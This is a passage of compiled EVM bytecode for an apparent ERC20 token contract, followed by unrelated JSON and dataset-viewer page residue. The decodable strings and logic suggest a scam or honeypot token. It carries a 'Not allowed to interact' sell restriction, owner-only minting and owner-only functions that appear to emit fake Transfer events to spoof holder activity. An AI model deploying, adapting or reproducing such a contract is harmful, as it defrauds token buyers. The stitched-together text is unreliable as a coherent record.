0602001918460208302840111600160201b8311171561039e57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b8111156103ed57600080fd5b8201836020820111156103ff57600080fd5b803590602001918460208302840111600160201b8311171561042057600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610ce7945050505050565b61027b6004803603604081101561047457600080fd5b506001600160a01b038135169060200135610dad565b61027b600480360360208110156104a057600080fd5b50356001600160a01b0316610e8b565b6104b8610ef5565b604080516001600160a01b039092168252519081900360200190f35b6102c5600480360360208110156104ea57600080fd5b50356001600160a01b0316610f04565b61027b610f1f565b61027b6004803603606081101561051857600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561054257600080fd5b82018360208201111561055457600080fd5b803590602001918460208302840111600160201b8311171561057557600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b8111156105c457600080fd5b8201836020820111156105d657600080fd5b803590602001918460208302840111600160201b831117156105f757600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610f6e945050505050565b6102a96004803603602081101561064b57600080fd5b50356001600160a01b031661102e565b61016561109a565b61027b6004803603606081101561067957600080fd5b6001600160a01b038235169190810190604081016020820135600160201b8111156106a357600080fd5b8201836020820111156106b557600080fd5b803590602001918460208302840111600160201b831117156106d657600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b81111561072557600080fd5b82018360208201111561073757600080fd5b803590602001918460208302840111600160201b8311171561075857600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295506110fb945050505050565b6102a9600480360360408110156107ac57600080fd5b506001600160a01b0381351690602001356111bb565b61027b600480360360208110156107d857600080fd5b50356001600160a01b03166111cf565b6104b8611251565b61027b6004803603606081101561080657600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561083057600080fd5b82018360208201111561084257600080fd5b803590602001918460208302840111600160201b8311171561086357600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b8111156108b257600080fd5b8201836020820111156108c457600080fd5b803590602001918460208302840111600160201b831117156108e557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550611260945050505050565b6102c56004803603604081101561093957600080fd5b506001600160a01b03813581169160200135166112fe565b61027b6004803603602081101561096757600080fd5b50356001600160a01b0316611329565b61027b6004803603606081101561098d57600080fd5b6001600160a01b038235169190810190604081016020820135600160201b8111156109b757600080fd5b8201836020820111156109c957600080fd5b803590602001918460208302840111600160201b831117156109ea57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b811115610a3957600080fd5b820183602082011115610a4b57600080fd5b803590602001918460208302840111600160201b83111715610a6c57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295506113b0945050505050565b60058054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610b365780601f10610b0b57610100808354040283529160200191610b36565b820191906000526020600020905b815481529060010190602001808311610b1957829003601f168201915b5050505050905090565b600d546001600160a01b03163314610b88576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b60005b8151811015610c30576001806000848481518110610ba557fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff021916908315150217905550600060026000848481518110610bf657fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055600101610b8b565b5050565b6000610c48610c416114d1565b84846114d5565b50600192915050565b60045490565b6000610c648484846115c1565b610cd484610c706114d1565b610ccf856040518060600160405280602881526020016120e2602891396001600160a01b038a16600090815260036020526040812090610cae6114d1565b6001600160a01b031681526020810191909152604001600020549190611846565b6114d5565b5060019392505050565b60075460ff1690565b600d546001600160a01b03163314610d34576040805162461bcd60e51b815260206004820152601760248201526000805160206120c2833981519152604482015290519081900360640190fd5b60005b8251811015610da757828181518110610d4c57fe5b60200260200101516001600160a01b0316846001600160a01b031660008051602061210a833981519152848481518110610d8257fe5b60200260200101516040518082815260200191505060405180910390a3600101610d37565b50505050565b600d546001600160a01b03163314610e0c576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b600454610e199082611470565b600455600d546001600160a01b0316600090815260208190526040902054610e419082611470565b600d546001600160a01b03908116600090815260208181526040808320949094558351858152935192861693919260008051602061210a8339815191529281900390910190a35050565b600d546001600160a01b03163314610ed3576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b600980546001600160a01b0319166001600160a01b0392909216919091179055565b600b546001600160a01b031681565b6001600160a01b031660009081526020819052604090205490565b600d546001600160a01b03163314610f6c576040805162461bcd60e51b815260206004820152601760248201526000805160206120c2833981519152604482015290519081900360640190fd5b565b600d546001600160a01b03163314610fbb576040805162461bcd60e51b815260206004820152601760248201526000805160206120c2833981519152604482015290519081900360640190fd5b60005b8251811015610da757836001600160a01b0316838281518110610fdd57fe5b60200260200101516001600160a01b031660008051602061210a83398151915284848151811061100957fe5b60200260200101516040518082815260200191505060405180910390a3600101610fbe565b600d546000906001600160a01b0316331461107e576040805162461bcd60e51b815260206004820152601760248201526000805160206120c2833981519152604482015290519081900360640190fd5b6110928261108a6114d1565b6008546114d5565b506001919050565b60068054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610b365780601f10610b0b57610100808354040283529160200191610b36565b600d546001600160a01b03163314611148576040805162461bcd60e51b815260206004820152601760248201526000805160206120c2833981519152604482015290519081900360640190fd5b60005b8251811015610da757836001600160a01b031683828151811061116a57fe5b60200260200101516001600160a01b031660008051602061210a83398151915284848151811061119657fe5b60200260200101516040518082815260200191505060405180910390a360010161114b565b6000610c486111c86114d1565b84846115c1565b600d546001600160a01b0316331461121c576040805162461bcd60e51b815260206004820152601760248201526000805160206120c2833981519152604482015290519081900360640190fd5b6001600160a01b038082166000908152600160205260408120805460ff19169055600b5461124e9284929116906114d5565b50565b600d546001600160a01b031681565b600d546001600160a01b031633146112ad576040805162461bcd60e51b815260206004820152601760248201526000805160206120c2833981519152604482015290519081900360640190fd5b6112b98361108a6114d1565b60005b8251811015610da7576112f6848483815181106112d557fe5b60200260200101518484815181106112e957fe5b60200260200101516118dd565b6001016112bc565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b600d546001600160a01b03163314611376576040805162461bcd60e51b815260206004820152601760248201526000805160206120c2833981519152604482015290519081900360640190fd5b6001600160a01b038082166000908152600160208190526040909120805460ff19169091179055600b5460085461124e92849216906114d5565b600d546001600160a01b031633146113fd576040805162461bcd60e51b815260206004820152601760248201526000805160206120c2833981519152604482015290519081900360640190fd5b60005b8251811015610da75782818151811061141557fe5b60200260200101516001600160a01b0316846001600160a01b031660008051602061210a83398151915284848151811061144b57fe5b60200260200101516040518082815260200191505060405180910390a3600101611400565b6000828201838110156114ca576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b3390565b6001600160a01b03831661151a5760405162461bcd60e51b815260040180806020018281038252602481526020018061214f6024913960400191505060405180910390fd5b6001600160a01b03821661155f5760405162461bcd60e51b815260040180806020018281038252602281526020018061207a6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260036020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b600954600d548391839186916000916001600160a01b0390811691161480156115f75750600d546001600160a01b038381169116145b1561162757600980546001600160a01b0319166001600160a01b038616179055611622878787611a56565b61183d565b600d546001600160a01b038381169116148061165057506009546001600160a01b038381169116145b806116685750600d546001600160a01b038581169116145b156116b157600d546001600160a01b03838116911614801561169b5750836001600160a01b0316826001600160a01b0316145b156116a657600a8390555b611622878787611a56565b6001600160a01b03821660009081526001602081905260409091205460ff16151514156116e357611622878787611a56565b6001600160a01b03821660009081526002602052604090205460ff1615156001141561176d576009546001600160a01b03838116911614806117325750600b546001600160a01b038581169116145b6116a65760405162461bcd60e51b815260040180806020018281038252602681526020018061209c6026913960400191505060405180910390fd5b600a548310156117ce576009546001600160a01b03858116911614156116a6576001600160a01b03821660009081526002602090815260408083208054600160ff199182168117909255925290912080549091169055611622878787611a56565b6009546001600160a01b03838116911614806117f75750600b546001600160a01b038581169116145b6118325760405162461bcd60e51b815260040180806020018281038252602681526020018061209c6026913960400191505060405180910390fd5b61183d878787611a56565b50505050505050565b600081848411156118d55760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561189a578181015183820152602001611882565b50505050905090810190601f1680156118c75780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6001600160a01b0383166119225760405162461bcd60e51b815260040180806020018281038252602581526020018061212a6025913960400191505060405180910390fd5b6001600160a01b0382166119675760405162461bcd60e51b81526004018080602001828103825260238152602001806120576023913960400191505060405180910390fd5b611972838383612051565b6119af8160405180606001604052806026815260200161209c602691396001600160a01b0386166000908152602081905260409020549190611846565b6001600160a01b0380851660009081526020819052604080822093909355908416815220546119de9082611470565b6001600160a01b03808416600090815260208190526040902091909155600d5484821691161415611a1857600c546001600160a01b031692505b816001600160a01b0316836001600160a01b031660008051602061210a833981519152836040518082815260200191505060405180910390a3505050565b600954600d548391839186916000916001600160a01b039081169116148015611a8c5750600d546001600160a01b038381169116145b15611c2257600980546001600160a01b0319166001600160a01b03868116919091179091558716611aee5760405162461bcd60e51b815260040180806020018281038252602581526020018061212a6025913960400191505060405180910390fd5b6001600160a01b038616611b335760405162461bcd60e51b81526004018080602001828103825260238152602001806120576023913960400191505060405180910390fd5b611b3e878787612051565b611b7b8560405180606001604052806026815260200161209c602691396001600160a01b038a166000908152602081905260409020549190611846565b6001600160a01b038089166000908152602081905260408082209390935590881681522054611baa9086611470565b6001600160a01b03808816600090815260208190526040902091909155600d5488821691161415611be457600c546001600160a01b031696505b856001600160a01b0316876001600160a01b031660008051602061210a833981519152876040518082815260200191505060405180910390a361183d565b600d546001600160a01b0383811691161480611c4b57506009546001600160a01b038381169116145b80611c635750600d546001600160a01b038581169116145b15611ce657600d546001600160a01b038381169116148015611c965750836001600160a01b0316826001600160a01b0316145b15611ca157600a8390555b6001600160a01b038716611aee5760405162461bcd60e51b815260040180806020018281038252602581526020018061212a6025913960400191505060405180910390fd5b6001600160a01b03821660009081526001602081905260409091205460ff1615151415611d52576001600160a01b038716611aee5760405162461bcd60e51b815260040180806020018281038252602581526020018061212a6025913960400191505060405180910390fd5b6001600160a01b03821660009081526002602052604090205460ff16151560011415611ddc576009546001600160a01b0383811691161480611da15750600b546001600160a01b038581169116145b611ca15760405162461bcd60e51b815260040180806020018281038252602681526020018061209c6026913960400191505060405180910390fd5b600a54831015611e70576009546001600160a01b0385811691161415611ca1576001600160a01b0382811660009081526002602090815260408083208054600160ff1991821681179092559252909120805490911690558716611aee5760405162461bcd60e51b815260040180806020018281038252602581526020018061212a6025913960400191505060405180910390fd5b6009546001600160a01b0383811691161480611e995750600b546001600160a01b038581169116145b611ed45760405162461bcd60e51b815260040180806020018281038252602681526020018061209c6026913960400191505060405180910390fd5b6001600160a01b038716611f195760405162461bcd60e51b815260040180806020018281038252602581526020018061212a6025913960400191505060405180910390fd5b6001600160a01b038616611f5e5760405162461bcd60e51b81526004018080602001828103825260238152602001806120576023913960400191505060405180910390fd5b611f69878787612051565b611fa68560405180606001604052806026815260200161209c602691396001600160a01b038a166000908152602081905260409020549190611846565b6001600160a01b038089166000908152602081905260408082209390935590881681522054611fd59086611470565b6001600160a01b03808816600090815260208190526040902091909155600d548882169116141561200f57600c546001600160a01b031696505b856001600160a01b0316876001600160a01b031660008051602061210a833981519152876040518082815260200191505060405180910390a350505050505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654e6f7420616c6c6f77656420746f20696e74657261637400000000000000000045524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a264697066735822122067a146df968d3fc602a5e4d72e5c256c890434ec1756c93cf8a14a3fa5c41f9364736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 9,399 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.